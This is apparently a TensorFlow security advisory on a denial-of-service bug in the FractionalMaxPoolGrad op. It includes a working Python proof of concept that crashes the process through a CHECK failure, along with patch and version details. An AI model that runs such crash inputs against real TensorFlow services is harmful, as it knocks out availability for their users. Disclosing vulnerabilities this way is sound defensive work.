TensorFlow vulnerable to `CHECK` fail in `FractionalMaxPoolGrad`

Impact

FractionalMaxPoolGrad validates its inputs with CHECK failures instead of with returning errors. If it gets incorrectly sized inputs, the CHECK failure can be used to trigger a denial of service attack:

import tensorflow as tf

overlapping = True
orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)
col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)

Patches

We have patched the issue in GitHub commit 8741e57d163a079db05a7107a7609af70931def4.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.